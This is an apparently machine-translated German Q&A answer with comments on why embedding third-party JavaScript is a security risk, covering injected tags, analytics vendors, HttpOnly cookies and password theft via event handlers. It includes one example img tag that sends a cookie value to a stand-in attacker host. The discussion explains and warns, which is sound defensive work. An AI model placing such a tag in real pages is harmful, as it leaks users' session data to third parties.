Es hat das Potenzial, eine große Sicherheitslücke, so dass Sie dieser Website vertrauen, die die JavaScript-Datei hostet.
Zum Beispiel, dass Code kann mehr Script-Tags und img-Tags in Ihrer Website injizieren, die sensible Daten auf eine dritte Partei weitergeben kann.
Davids Kommentar über die Same Origin Policy kann irreführend sein. Ein klassischer Weg, um Daten an einen entfernten Ort Relais ist einen img-Tag zu einer Remote-Domäne einzufügen:
<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />
Wenn der JavaScript-Code auf dem Remote-Host geändert wurde, um dynamisch einen img-Tag wie diesen dann Ihrer Website zu injizieren könnte ein Sicherheitsloch haben. Einige dieser Probleme werden gemildert, z. B. die Verwendung von Nur-HTTP-Cookies, die nicht über JavaScript zugänglich sind.
Das Beispiel von Analysesystemen ist ein großer. Sie müssen darauf vertrauen, dass der Anbieter keine sensiblen Daten wie Ihre eigenen Cookies annimmt und an einen entfernten Ort sendet. Sie müssen auch dem Anbieter vertrauen, dass ihr-System sicher ist und dass ein Hacker die JavaScript-Dateien auf ihren Servern nicht ändern konnte. Analytik-Systeme arbeiten im Allgemeinen mit den gleichen Techniken, aber hoffentlich verwenden sie es zum Guten und nicht zum Bösen. In gewissem Sinne ist es nicht anders, als darüber nachzudenken, ob Ihre Entwickler guten, sicheren Code schreiben und ob sie eine geheime Hintertür einführen.
Als warum ist es erlaubt, es ist nur historisch. Das Internet wurde gar nicht mit Sicherheit konzipiert. Ob es sich um CSRF-Angriffe, Replay-Angriffe oder XSS-Angriffe handelt, all dies sind grundlegende Schwachstellen im Web-Design, die jetzt zu den Anliegen von Web-Entwicklern werden.
Es stimmt, dass HTTP-Cookies nur durch Parsen der Header in JavaScript richtig extrahiert werden? – alex
@alex - da bin ich mir nicht sicher. Das JavaScript könnte auch andere Dinge tun, die viel übler sind, wie zum Beispiel das Stehlen von Kennwörtern, indem Ereignis-Handler an Eingabe-Tags angehängt werden, die dann den Text an einen entfernten Server senden. – Eilon